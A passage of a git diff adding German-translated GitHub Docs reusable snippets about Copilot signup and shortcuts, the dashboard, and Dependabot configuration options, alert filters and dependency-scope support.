+ms.openlocfilehash: aa8e8c3c83a5276c5adf46af9c3f97673954703b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881884"
+---
+1. Um deine neuen Einstellungen zu bestätigen, klicke auf **Speichern**.
diff --git a/translations/de-DE/data/reusables/copilot/see-alternative-suggestions.md b/translations/de-DE/data/reusables/copilot/see-alternative-suggestions.md
new file mode 100644
index 0000000000..93b188ad44
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/see-alternative-suggestions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 555662506930934ceb133411a139a2e84c52b603
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147888702"
+---
+1. Optional kannst du dir, falls vorhanden, alternative Vorschläge anzeigen lassen.
diff --git a/translations/de-DE/data/reusables/copilot/signup-procedure.md b/translations/de-DE/data/reusables/copilot/signup-procedure.md
new file mode 100644
index 0000000000..1cb26f11a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/signup-procedure.md
@@ -0,0 +1,25 @@
+---
+ms.openlocfilehash: 8fd599404931b2ec2334e0ad0200bbf8734f962e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080297"
+---
+Ehe du {% data variables.product.prodname_copilot %} nutzen kannst, musst du eine kostenlose Testversion oder ein Abonnement einrichten.
+
+{% data reusables.user-settings.access_settings %}
+1. Klicke im Abschnitt „Code, Planung und Automatisierung“ der Seitenleiste auf **{% octicon "copilot" aria-label="The copilot icon" %} GitHub Copilot**.
+1. Klicke auf der Seite mit den {% data variables.product.prodname_copilot %}-Einstellungen auf **{% data variables.product.prodname_copilot %} aktivieren**.
+
+   ![Screenshot der GitHub Copilot-Einstellungen mit hervorgehobener Schaltfläche „{% data variables.product.prodname_copilot %} aktivieren“](/assets/images/help/copilot/copilot-settings-enable-button.png)
+1. Wähle die monatliche oder jährliche Zahlungsweise, und klicke auf **Fortfahren, um Zugriff auf Copilot zu erhalten**.
+   - Wenn dein persönliches Konto die Kriterien für ein kostenloses {% data variables.product.prodname_copilot %}-Abonnement anstelle einer Testversion erfüllt, wirst du automatisch zu Schritt 6 weitergeleitet.
+
+   ![Screenshot der Einrichtung der Testversion mit hervorgehobener Schaltfläche „Fortfahren, um Zugriff auf Copilot zu erhalten“](/assets/images/help/copilot/copilot-billing-cycle.png)
+1. Befolge die Schritte zum Bestätigen deiner Zahlungsdetails, und klicke dann auf **Absenden**.
+1. Wählen deine Einstellungen aus, und klicke dann auf **Speichern und erste Schritte**.
+
+   ![Screenshot der GitHub Copilot-Einstellungen mit der Schaltfläche „Speichern und erste Schritte“](/assets/images/help/copilot/copilot-signup-preferences.png)
+
+   Du kannst diese Einstellungen zu einem späteren Zeitpunkt ändern, indem du zu deinen {% data variables.product.prodname_copilot %}-Einstellungen zurückkehrst. Weitere Informationen findest du unter [Konfigurieren von GitHub Copilot in Visual Studio Code](/copilot/configuring-github-copilot/configuring-github-copilot-in-visual-studio-code#configuring-github-copilot-settings-on-githubcom).
diff --git a/translations/de-DE/data/reusables/copilot/suggestions-new-tab.md b/translations/de-DE/data/reusables/copilot/suggestions-new-tab.md
new file mode 100644
index 0000000000..a397ca1a4e
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/suggestions-new-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d855d23c82eed7c6ac60c1f60f0398d5afc49586
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080202"
+---
+Es kann sein, dass du keinen der anfänglichen Vorschläge von {% data variables.product.prodname_copilot %} befolgen möchtest. Mittels einer Tastenkombination kannst du {% data variables.product.prodname_copilot %} dazu auffordern, dir mehrere Vorschläge in einer neuen Registerkarte anzuzeigen.
diff --git a/translations/de-DE/data/reusables/copilot/supported-languages.md b/translations/de-DE/data/reusables/copilot/supported-languages.md
new file mode 100644
index 0000000000..851fb25b38
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/supported-languages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d9621c982c8fb4d918c9d7274c85e1f5c799e664
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881932"
+---
+{% data variables.product.prodname_copilot %} bietet Vorschläge für zahlreiche Sprachen und eine vielzahl von Frameworks, funktioniert aber besonders gut für Python, JavaScript, TypeScript, Ruby, Go, C# und C++.
diff --git a/translations/de-DE/data/reusables/copilot/type-function-header-c.md b/translations/de-DE/data/reusables/copilot/type-function-header-c.md
new file mode 100644
index 0000000000..81973fd857
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/type-function-header-c.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 00f315d2a5ebe5c12ba5094c31c10b5c8578e73a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080292"
+---
+1. Gib in der C#-Datei den folgenden Funktionsheader ein.
+
+    ```csharp{:copy}
+    function calculateDaysBetweenDates(begin, end) {
+    ```
diff --git a/translations/de-DE/data/reusables/copilot/type-function-header.md b/translations/de-DE/data/reusables/copilot/type-function-header.md
new file mode 100644
index 0000000000..83d918d52c
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/type-function-header.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 22ead8e5b471035b823f7a33e93e06893d58353a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881852"
+---
+1. Gib in der JavaScript-Datei den folgenden Funktionsheader ein.
+
+    ```javascript{:copy}
+    function calculateDaysBetweenDates(begin, end) {
+    ```
+    
diff --git a/translations/de-DE/data/reusables/copilot/windows-linux-next-suggestion.md b/translations/de-DE/data/reusables/copilot/windows-linux-next-suggestion.md
new file mode 100644
index 0000000000..9028e09248
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/windows-linux-next-suggestion.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8a3c7a1f01242a4bf1aea74fa70be87242453631
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879469"
+---
+- Unter Windows oder Linux drückst du <kbd>ALT</kbd>+<kbd>]</kbd> für den nächsten Vorschlag oder <kbd>ALT</kbd>+<kbd>[</kbd> für den vorherigen Vorschlag.
diff --git a/translations/de-DE/data/reusables/dashboard/access-org-dashboard.md b/translations/de-DE/data/reusables/dashboard/access-org-dashboard.md
new file mode 100644
index 0000000000..e4aa850054
--- /dev/null
+++ b/translations/de-DE/data/reusables/dashboard/access-org-dashboard.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 962b02d04dbb627feabb197087eb06fa36ba761e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133558"
+---
+1. Klicke in der oberen linken Ecke einer beliebigen {% data variables.product.product_name %}-Seite auf {% octicon "mark-github" aria-label="The github octocat logo" %}, um auf die Dashboardseite zuzugreifen.
+2. Klicke in der oberen linken Ecke der Seite auf Deinen Benutzernamen, und verwende das Dropdownmenü, um auf die gewünschte Organisation zu klicken.
+![Dropdownmenü für Dashboardkontextwechsel mit unterschiedlichen Organisationsoptionen](/assets/images/help/dashboard/dashboard-context-switcher.png)
diff --git a/translations/de-DE/data/reusables/dashboard/recent-activity-qualifying-events.md b/translations/de-DE/data/reusables/dashboard/recent-activity-qualifying-events.md
new file mode 100644
index 0000000000..13f8d9a5b8
--- /dev/null
+++ b/translations/de-DE/data/reusables/dashboard/recent-activity-qualifying-events.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: a891c9e393eae7dd2de2359d04b10fb4140baeab
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133554"
+---
+Offene Issues und Pull Requests werden in den folgenden Fällen im Abschnitt zu den neuesten Aktivitäten angezeigt:
+- Du hast einen Issue oder einen Pull Request geöffnet.
+- Ein Issue oder Pull Request wurde kommentiert, der von Dir geöffnet wurde.
+- Dein Issue oder Pull Request wurde erneut geöffnet.
+- Dein Review wurde für einen Pull Request angefordert.
+- Du wurdest einem Issue oder Pull Request zugewiesen.
+- Du hast über einen Commit auf einen Issue oder Pull Request verwiesen.
+- Du hast einen Issue oder Pull Request kommentiert.
diff --git a/translations/de-DE/data/reusables/dependabot/about-the-dependency-graph.md b/translations/de-DE/data/reusables/dependabot/about-the-dependency-graph.md
new file mode 100644
index 0000000000..e703cd5dab
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/about-the-dependency-graph.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 8cf9b4b70c5295ad2c7178a586fd660e05a88076
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885548"
+---
+Das Abhängigkeitsdiagramm ist eine Zusammenfassung von Manifest- und Sperrdateien, die in einem Repository gespeichert sind{% ifversion dependency-submission-api %}, und aller mithilfe der Abhängigkeitsübermittlungs-API (Beta) für das Repository übermittelten Abhängigkeiten{% endif %}. Für jedes Repository wird Folgendes angezeigt{% ifversion fpt or ghec %}:
+
+- Abhängigkeiten (die Ökosysteme und Pakete, von denen es abhängig ist)
+- Abhängige Elemente (die Repositorys und Pakete, die von ihm abhängig sind){% else %} Abhängigkeiten, also die Ökosysteme und Pakete, von denen es abhängig ist. {% data variables.product.product_name %} berechnet weder Informationen zu abhängigen Elementen noch zu den Repositorys und Paketen, die von einem Repository abhängig sind.{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/automated-tests-note.md b/translations/de-DE/data/reusables/dependabot/automated-tests-note.md
new file mode 100644
index 0000000000..e495edd059
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/automated-tests-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 276451d5e20b4aebaa3f9841f4a9c1ec5270e2d5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133550"
+---
+{% note %}
+
+**Hinweis:** Es empfiehlt sich, automatisierte Tests und Abnahmeprozesse einzurichten, damit Überprüfungen durchgeführt werden, bevor der Pull Request gemergt wird. Das ist besonders wichtig, wenn die vorgeschlagene Version, auf die du ein Upgrade durchführen möchtest, zusätzliche Funktionalität oder Breaking Changes enthält. Weitere Informationen zu Continuous Integration (CI) findest du unter [Informationen zu Continuous Integration](/actions/building-and-testing-code-with-continuous-integration/about-continuous-integration).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/dependabot/beta-security-and-version-updates.md b/translations/de-DE/data/reusables/dependabot/beta-security-and-version-updates.md
new file mode 100644
index 0000000000..a6d2d6cd01
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/beta-security-and-version-updates.md
@@ -0,0 +1,21 @@
+{% ifversion ghes < 3.5 %}
+
+{% note %}
+{% ifversion ghes = 3.4 %}
+**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in public beta and subject to change.
+{% else %}
+**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in private beta and subject to change. Please [contact your account management team](https://enterprise.github.com/contact) for instructions on enabling Dependabot updates.
+{% endif %}
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion ghae = 3.4 %}
+
+{% note %}
+
+**Note:** {% data variables.product.prodname_dependabot %} security and version updates are currently in public beta and subject to change.
+
+{% endnote %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/check-in-dependabot-yml.md b/translations/de-DE/data/reusables/dependabot/check-in-dependabot-yml.md
new file mode 100644
index 0000000000..8ce404bc0a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/check-in-dependabot-yml.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e156f2514596a5d999fb5f8e5407f818404f9ea7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133541"
+---
+1. Überprüfe die Konfigurationsdatei *dependabot.yml* im `.github`-Verzeichnis des Repositorys.
diff --git a/translations/de-DE/data/reusables/dependabot/click-dependabot-tab.md b/translations/de-DE/data/reusables/dependabot/click-dependabot-tab.md
new file mode 100644
index 0000000000..65b2554c2c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/click-dependabot-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b5c1e05970a3329c70f5a596a58514c524901594
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133529"
+---
+4. Klicke unter „Abhängigkeitsdiagramm“ auf **{% data variables.product.prodname_dependabot %}** .
+  ![Abhängigkeitsdiagramm, Registerkarte „{% data variables.product.prodname_dependabot %}“](/assets/images/help/dependabot/dependabot-tab.png)
diff --git a/translations/de-DE/data/reusables/dependabot/configuration-options.md b/translations/de-DE/data/reusables/dependabot/configuration-options.md
new file mode 100644
index 0000000000..f42499d79e
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/configuration-options.md
@@ -0,0 +1,24 @@
+| Option | Required | Security Updates | Version Updates | Description |
+|:---|:---:|:---:|:---:|:---|
+| [`package-ecosystem`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#package-ecosystem)                     | **X** | | X | Package manager to use                  |
+| [`directory`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#directory)                                     | **X** | | X | Location of package manifests           |
+| [`schedule.interval`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduleinterval)                      | **X** | | X | How often to check for updates                |
+| [`allow`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#allow)                                             | | X | X | Customize which updates are allowed         |
+| [`assignees`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#assignees)                                     | | X | X | Assignees to set on pull requests           |
+| [`commit-message`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#commit-message)                           | | X | X | Commit message preferences                  |{% ifversion fpt or ghec or ghes > 3.4 %}
+| [`enable-beta-ecosystems`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#enable-beta-ecosystems)           | | | X | Enable ecosystems that have beta-level support |{% endif %}
+| [`ignore`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#ignore)                                           | | X | X | Ignore certain dependencies or versions     |
+| [`insecure-external-code-execution`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#insecure-external-code-execution) | | | X | Allow or deny code execution in manifest files |
+| [`labels`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#labels)                                           | | X | X | Labels to set on pull requests              |
+| [`milestone`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#milestone)                                     | | X | X | Milestone to set on pull requests           |
+| [`open-pull-requests-limit`](#open-pull-requests-limit)       | | X | X | Limit number of open pull requests for version updates |
+| [`pull-request-branch-name.separator`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#pull-request-branch-nameseparator) | | X | X | Change separator for pull request branch names |
+| [`rebase-strategy`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#rebase-strategy)                         | | X | X | Disable automatic rebasing                  |
+| [`registries`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#registries)                                   | | | X | Private registries that {% data variables.product.prodname_dependabot %} can access|
+| [`reviewers`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#reviewers)                                     | | X | X | Reviewers to set on pull requests           |
+| [`schedule.day`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduleday)                                | | | X | Day of week to check for updates              |
+| [`schedule.time`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduletime)                              | | | X | Time of day to check for updates (hh:mm)      |
+| [`schedule.timezone`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#scheduletimezone)                      | | | X | Timezone for time of day (zone identifier)    |
+| [`target-branch`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#target-branch)                             | | | X  | Branch to create pull requests against     |
+| [`vendor`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#vendor)                                           | | | X | Update vendored or cached dependencies        |
+| [`versioning-strategy`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#versioning-strategy)                 | | X | X | How to update manifest version requirements |
diff --git a/translations/de-DE/data/reusables/dependabot/default-dependencies-allow-ignore.md b/translations/de-DE/data/reusables/dependabot/default-dependencies-allow-ignore.md
new file mode 100644
index 0000000000..46368bacd4
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/default-dependencies-allow-ignore.md
@@ -0,0 +1 @@
+By default all dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot %} version updates. In addition, {% data variables.product.prodname_dependabot %} security updates also update vulnerable dependencies that are defined in lock files. You can use `allow` and `ignore` to customize which dependencies to maintain. {% data variables.product.prodname_dependabot %} checks for all allowed dependencies and then filters out any ignored dependencies or versions. So a dependency that is matched by both an `allow` and an `ignore` will be ignored.
diff --git a/translations/de-DE/data/reusables/dependabot/default-labels.md b/translations/de-DE/data/reusables/dependabot/default-labels.md
new file mode 100644
index 0000000000..9221d60e85
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/default-labels.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3b05d1b75c37f24e9ae4ce03618910c572f259d1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133518"
+---
+Standardmäßig löst {% data variables.product.prodname_dependabot %} alle Pull Requests mit der Bezeichnung `dependencies` aus. Wenn mehrere Paket-Manager definiert sind, enthält {% data variables.product.prodname_dependabot %} eine zusätzliche Bezeichnung für jeden Pull Request. Dies gibt an, welche Sprache oder welches Ökosystem die Pull Request aktualisiert, z. B. `java` für Gradle-Updates und `submodules` für Git-Untermodul-Updates. {% data variables.product.prodname_dependabot %} erstellt diese Standardbezeichnungen automatisch, sofern in Ihrem Repository erforderlich.
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-alerts-beta.md b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-beta.md
new file mode 100644
index 0000000000..ca2a8746ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6d7fb7af1c60d0df9f3f173143d08c4acc40d643
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133513"
+---
+{% ifversion ghae %} {% note %}
+
+**Hinweis:** {% data variables.product.prodname_dependabot_alerts %} ist derzeit in Beta verfügbar und kann sich noch ändern.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md
new file mode 100644
index 0000000000..bb6c91e900
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-graph-enterprise.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b9966ffd598f2f69e0014693c489f5f5a21e2433
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133509"
+---
+{% ifversion ghes or ghae %} GitHub Enterprise-Besitzer können {% ifversion ghes %}das Abhängigkeitsdiagramm und {% endif %}{% data variables.product.prodname_dependabot_alerts %} für ein Unternehmen konfigurieren. Weitere Informationen findest du unter {% ifversion ghes %}[Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise) und {% endif %}[Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+{% endif %} 
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-scope.md b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-scope.md
new file mode 100644
index 0000000000..b09275c7fc
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-dependency-scope.md
@@ -0,0 +1,33 @@
+---
+ms.openlocfilehash: 873bdafd14b68ef0b8f2a99429a7f9966decc537
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080088"
+---
+In der folgenden Tabelle ist zusammengefasst, ob der Abhängigkeitsbereich für verschiedene Ökosysteme und Manifeste unterstützt wird, d.h. ob {% data variables.product.prodname_dependabot %} erkennen kann, ob eine Abhängigkeit für die Entwicklung oder Produktion verwendet wird.
+
+| **Sprache** | **Ökosystem** | **Manifestdatei** | **Unterstützter Abhängigkeitsbereich** |
+|:---|:---:|:---:|:---|
+| Go | Go-Module | go.mod | Nein, standardmäßig auf „Runtime“ festgelegt |
+| Go | Go-Module | go.sum | Nein, standardmäßig auf „Runtime“ festgelegt |
+| Java | Maven | pom.xml | ✔ `test` ist „Entwicklung“ zugeordnet, andere Bereichseinstellungen sind standardmäßig auf „Runtime“ festgelegt |
+| JavaScript | npm | package.json | ✔ |
+| JavaScript | npm | package-lock.json | ✔ |
+| JavaScript |  yarn v1 | yarn.lock | Nein, standardmäßig auf „Runtime“ festgelegt |
+| PHP | Composer | composer.json | ✔ |
+| PHP | Composer | composer.lock | ✔ |
+| Python | Poetry | poetry.lock | ✔ |
+| Python | Poetry | pyproject.toml | ✔ |
+| Python | pip | requirements.txt | ✔ „Bereich“ ist „Entwicklung“, wenn der Dateiname `test` oder `dev` enthält, andernfalls „Runtime“ |
+| Python | pip | pipfile.lock | ✔ |
+| Python | pip | pipfile | ✔ |
+| Ruby | RubyGems | Gemfile |   ✔ |
+| Ruby | RubyGems | Gemfile.lock    | Nein, standardmäßig auf „Runtime“ festgelegt |
+| Rust | Cargo |  Cargo.toml | ✔ |
+| Rust | Cargo | Cargo.lock | Nein, standardmäßig auf „Runtime“ festgelegt |
+| YAML | GitHub-Aktionen | - | Nein, standardmäßig auf „Runtime“ festgelegt |
+| .NET (C#, F#, VB usw.) | NuGet | .csproj / .vbproj .vcxproj / .fsproj | Nein, standardmäßig auf „Runtime“ festgelegt |
+| .NET | NuGet | packages.config | Nein, standardmäßig auf „Runtime“ festgelegt |
+| .NET | NuGet | .nuspec | ✔ Wenn das Tag != runtime |
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-alerts-filters.md b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-filters.md
new file mode 100644
index 0000000000..30e694b7a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-alerts-filters.md
@@ -0,0 +1,14 @@
+You can sort and filter {% data variables.product.prodname_dependabot_alerts %} by typing filters as `key:value` pairs into the search bar. 
+
+| Option | Description | Example | 
+|:---|:---|:---|
+| `ecosystem` | Displays alerts for the selected ecosystem | Use `ecosystem:npm` to show {% data variables.product.prodname_dependabot_alerts %} for npm |{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %}
+| `has` | Displays alerts meeting the selected filter criteria | Use `has:patch` to show alerts related to advisories that have a patch{% ifversion dependabot-alerts-vulnerable-calls %}</br>Use `has:vulnerable-calls` to show alerts relating to calls to vulnerable functions{% endif %} |{% endif %}
+| `is` | Displays alerts based on their state | Use `is:open` to show open alerts |
+| `manifest` | Displays alerts for the selected manifest | Use `manifest:webwolf/pom.xml` to show alerts on the pom.xml file of the webwolf application |
+| `package` | Displays alerts for the selected package | Use `package:django` to show alerts for django |
+| `resolution` | Displays alerts of the selected resolution status | Use `resolution:no-bandwidth` to show alerts previously parked due to lack of resources or time to fix them |
+| `repo` |  Displays alerts based on the repository they relate to</br>Note that this filter is only available on the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)" | Use `repo:octocat-repo` to show alerts in the repository called `octocat-repo` |{%- ifversion dependabot-alerts-development-label %}
+| `scope` | Displays alerts based on the scope of the dependency they relate to | Use `scope:development` to show alerts for dependencies that are only used during development |{% endif %}
+| `severity` | Displays alerts based on their level of severity | Use `severity:high` to show alerts with a severity of High |{%- ifversion dependabot-most-important-sort-option %}
+| `sort` | Displays alerts according to the selected sort order | The default sorting option for alerts is `sort:most-important`, which ranks alerts by importance</br>Use `sort:newest` to show the latest alerts reported by {% data variables.product.prodname_dependabot %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-tos.md b/translations/de-DE/data/reusables/dependabot/dependabot-tos.md
new file mode 100644
index 0000000000..f05c496f91
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-tos.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: e71674bb25f77d71366fdc2c3b8ed56d55c81657
+ms.sourcegitcommit: aa67bb5ad7aa6804c5def4390e30adcc7cf96ea1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/15/2022
+ms.locfileid: "148165201"
+---
+{% ifversion fpt %} {% data variables.product.prodname_dependabot %} und alle verwandten Funktionen werden von [Nutzungsbedingungen zu {% data variables.product.prodname_dotcom %}](/free-pro-team@latest/github/site-policy/github-terms-of-service) behandelt.
+{% elsif ghec %} {% data variables.product.prodname_dependabot %} und alle verwandten Funktionen werden von Ihrem Lizenzvertrag abgedeckt. Weitere Informationen findest Du unter „[{% data variables.product.company_short %}-Enterprise-Kundenrichtlinie](https://github.com/customer-terms)“.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/dependabot-updates-and-actions.md b/translations/de-DE/data/reusables/dependabot/dependabot-updates-and-actions.md
new file mode 100644
index 0000000000..ed7395924c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/dependabot-updates-and-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: af9c381d0012d84051d99d533cd8ceb56842bb4c
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109169"
+---
+{% data variables.product.prodname_actions %} ist {% ifversion ghec or fpt %}nicht {% endif %}erforderlich, um {% data variables.product.prodname_dependabot_version_updates %} und {% data variables.product.prodname_dependabot_security_updates %} in {% data variables.product.product_name %} auszuführen.{% ifversion fpt or ghec %} Durch {% data variables.product.prodname_dependabot %} geöffnete Pull Requests können jedoch Workflows auslösen, die Aktionen ausführen. Weitere Informationen findest du unter [Automatisieren von {% data variables.product.prodname_dependabot %} mit {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions).{% elsif ghes %} {% data reusables.dependabot.enabling-actions-for-ghes %} Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).{% endif %}
diff --git a/translations/de-DE/data/reusables/dependabot/enabling-actions-for-ghes.md b/translations/de-DE/data/reusables/dependabot/enabling-actions-for-ghes.md
new file mode 100644
index 0000000000..aa99981839
--- /dev/null
+++ b/translations/de-DE/data/reusables/dependabot/enabling-actions-for-ghes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 31aa923005d7561961ad5ba9afc4d6a9859ca264
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106917"
+---
